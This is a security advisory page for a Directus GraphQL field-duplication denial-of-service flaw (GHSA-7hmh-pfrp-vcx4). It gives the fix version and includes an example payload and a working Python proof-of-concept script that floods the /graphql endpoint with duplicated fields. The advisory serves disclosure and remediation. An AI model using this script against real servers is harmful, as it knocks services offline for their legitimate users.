VDB
Sign up
MEDIUM6.5

GHSA-7hmh-pfrp-vcx4

Directus GraphQL Field Duplication Denial of Service (DoS)

Quick fix

GHSA-7hmh-pfrp-vcx4 — @directus/env: upgrade to the fixed version with the command below.

npm install @directus/env@1.1.6

Details

### Summary A denial of service (DoS) attack by field duplication in GraphQL is a type of attack where an attacker exploits the flexibility of GraphQL to overwhelm a server by requesting the same field multiple times in a single query. This can cause the server to perform redundant computations and consume excessive resources, leading to a denial of service for legitimate users.

### Details Request to the endpoint /graphql are sent when visualizing graphs generated at a dashboard: ![image](https://github.com/directus/directus/assets/114263468/185eb60f-9092-47d4-81f4-add1a53e99c8)

![DoS5](https://github.com/directus/directus/assets/114263468/f43079f5-b9ab-4704-938f-dcb91453d464)

By modifying the data sent and duplicating many times the fields a DoS attack is possible.

### PoC The goal is to create a payload that generates a body like this, where the 'max' field is duplicated many times, each with the 'id' field duplicated many times inside it. `{'query': 'query { query_4f4722ea: test_table_aggregated { max {id id id id id id id id id id } max {id id id id id id id id id id } max {id id id id id id id id id id } max {id id id id id id id id id id } max {id id id id id id id id id id } max {id id id id id id id id id id } max {id id id id id id id id id id } max {id id id id id id id id id id } max {id id id id id id id id id id } max {id id id id id id id id id id } } }'}`

Although that payload seems harmless, a bigger one leaves the service unresponsive.

The following code might serve as a PoC written in Python3: ```# Field Duplication DoS # GitHub @asantof

import requests

## CHANGE THIS VALUES: url, auth_token, query_name, collection_name url = 'http://0.0.0.0:8055/graphql' auth_token = '' query_name = 'query_XXXXX' collection_name = ''

headers = { 'Content-Type': 'application/json', 'Authorization': f'Bearer {auth_token}', }

id_payload = 'id ' * 200 max_payload = 'max {' + id_payload + ' } ' full_payload = max_payload * 200

data = { 'query': 'query { ' + query_name + ': ' + collection_name + '_aggregated { ' + full_payload + ' } }' }

print(data)

response = requests.post(url, headers=headers, json=data)

print(response.json()) ```

![DoS4](https://github.com/directus/directus/assets/114263468/965e50bc-24dc-405c-a0f1-c973bd4f378d)

After running it the service will be unresponsive for a while: ![DoS](https://github.com/directus/directus/assets/114263468/9865acc1-9b82-4d3d-8929-cf32500ce14d)

### Impact The vulnerability impacts the service's availability by causing it to become unresponsive for a few minutes. An attacker could continuously send this request to the server, rendering the service unavailable indefinitely.

Are you affected?

Enter the version of the package you're using.

Affected packages

npm/@directus/env
Introduced in: 0Fixed in: 1.1.6
Fixnpm install @directus/env@1.1.6

References